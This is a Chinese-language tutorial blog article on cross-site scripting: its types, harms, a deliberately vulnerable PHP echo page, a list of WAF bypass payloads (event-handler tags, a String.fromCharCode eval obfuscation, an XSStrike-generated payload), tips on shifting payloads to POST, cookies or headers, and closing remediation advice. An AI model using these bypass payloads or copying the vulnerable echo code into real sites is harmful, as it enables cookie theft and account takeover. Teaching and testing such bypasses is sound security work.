当前位置:   article > 正文

XSS漏洞介绍以及waf绕过_xss漏洞有web防火墙拦截算过吗

xss漏洞有web防火墙拦截算过吗

一、XSS简介、危害和类型

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。

XSS漏洞出现的原因主要在于程序对输入和输出的控制不够严格,导致攻击者在将script代码输入后,在前端浏览器被当作有效代码解析并执行从而产生危害。

二、XSS的危害

1、窃取cookie的sessionid,冒充用户登录。

2、盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号

3、盗窃企业重要的具有商业价值的资料

4、控制受害者机器向其它网站发起攻击(重定向语句)

5、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

6、强制发送电子邮件

7、网站挂马

8、非法转账

三、XSS的类型

xss 攻击可分为三类:反射型XSS、存储型XSS、dom型XSS。

1、反射性XSS

黑客首先诱导用户点击恶意链接,当客户端发出请求时,XSS恶意脚本出现在URL中,作为输入提交到服务器端。服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码,此时黑客控制客户端做出一些行为。反射型XSS的特点是非持久性、参数型跨站脚本,这种攻击方式往往具有一次性。

2、存储型XSS

存储型XSS是持久性跨站脚本,存储型XSS的脚本并不是在url某个参数中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,黑客通过在留言板位置将恶意代码写进数据库中。存储型XSS的特点是脚本将被永久地存放在目标服务器端,下次请求目标页面时不用再提交XSS代码。攻击数据存储在服务器,攻击一直持续下去,危害比反射大

3、DOM型XSS

网页HTML中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。

此时用户可以通过JS脚本对文档对象进行编辑,从而修改页面的元素 。客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。DOM型XSS的特点是由于攻击载荷是在本地修改DOM树,并不会传到服务器上,所以DOM型XSS难以检测。

四、XSS 的WAF绕过技巧

先放上xss漏洞代码:

  1. <?php
  2. $x = $_GET['input'] ;
  3. echo $x ;
  4. ?>

首先打开waf防护,然后输入js脚本进行xss攻击,发现被waf拦截,此时我们需要通过一些策略绕过waf

1、手工绕过

(1)标签语法替换。除了script标签·,还有很多标签svg/button/form/div/audio等都可以执行js代码。

svg标签替换

令 input=<svg οnlοad="alert(1)">,发现成功绕过waf

audio标签替换

<audio src=x οnerrοr=alert(4)>

<audio src=x οnerrοr=prompt(12);>

<audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>

video标签替换

<video src=x οnerrοr=prompt(123)>

<video src=x οnerrοr=alert(123)>

<button οnfοcus=alert(1) autofocus>

<button οnclick=alert(1234)>xssbutton</button>

除此之外还有img、body、style等标签可以替换script标签

img标签替换

令 input= <img src=1 οnerrοr=alert("hello")>  弹出hello弹窗3

令 input=<img src=1 οnerrοr=alert(document.cookie)> ,弹出cookie

body 标签替换

<body οnlοad=alert(1)>

<body οnpageshοw=alert(1)>

style标签替换

<style οnlοad=alert(1)></style>

(2)加密算法。使用ascii吗进行加密,替换script标签

input=<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

97,108,101,114,116,40,49,41 ========> laert(1)的ASCII码

(3)XSStrike工具,其中包含了手工测试的方式和自动攻击两种方式。

python xsstrike.py -u "http://192.168.159.148:9090/xsstest/echoget.php?input=123" --fuzzer

使用--fuzzer模式表示自动测试,-u 后面接url地址 ,然后回车

如果输入python xsstrike.py -u "http://192.168.159.148:9090/xsstest/echoget.php?input=123" ,则进入手动模式(这里需要我们的原始页面为一个标准的文件包含漏洞的html文件)。

修改xss漏洞代码

  1. <!DOCTYPE html><html>
  2. <head>
  3. <meta http-equiv="content-type" content="text/html;charset=utf-8">
  4. <title>XSS测试</title>
  5. </head>
  6. <body>
  7. <h1 align=center>欢迎</h1>
  8. <?php
  9. $x = $_GET['input'] ;
  10. echo $x ;
  11. ?>;
  12. <center>测试 XSS</center>
  13. </body>
  14. </html>

然后进行测试,复制生成载荷 <HTML/+/ONmOuSEoVer+=+[8].find(confirm)>  ,然后在url上进行提交测试

发现测试成功:

此时我们可以输入 Y并回车,继续进行测试,也可以输入N结束。

(4)在默认配置下,为了节省资源,许多WAF只会对GET请求进行过滤拦截,而忽略了对POST请求等提交方式的检测,因此,常用的一种xss绕WAF的方式是更改有害语句的提交方式,如将GET提交方式修改为POST、cookie、http header等来尝试绕过WAF拦截,尝试这一方法的前提是当前网页代码支持修改的提交方式。

(5)混淆伪装绕过,混淆伪装方式与sql注入的绕过类似,如编码绕过、大小写绕过、双写绕过、转义字符绕过等

(6)XSS漏洞执行js代码对系统实行的攻击依赖于事件函数的触发,因此WAF也会重点识别事件函数字段,如onclick。但是在js语法中,事件函数如onerror、 oninput、onmousedown、onsumbmit、onchange等也可以触发攻击。

2、自动测试

(1)fuzz测试。(上文已经演示)

(2)使用bp工具并导入xss攻击字典,对网址进行爆破。

五、XSS漏洞的修复

1、如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信 息,这样能有效的防止XSS攻击导致的cookie被盗取。 

2、对输入进行过滤或清理

3、使用预备语句,在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库。

4、实施输出编码,确保在输出到HTML时使用适当的HTML编码函数。

5、使用内容安全策略

6、审查和测试

7、定期进行安全审计和漏洞扫描

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/正经夜光杯/article/detail/884738
推荐阅读
相关标签
  

闽ICP备14008679号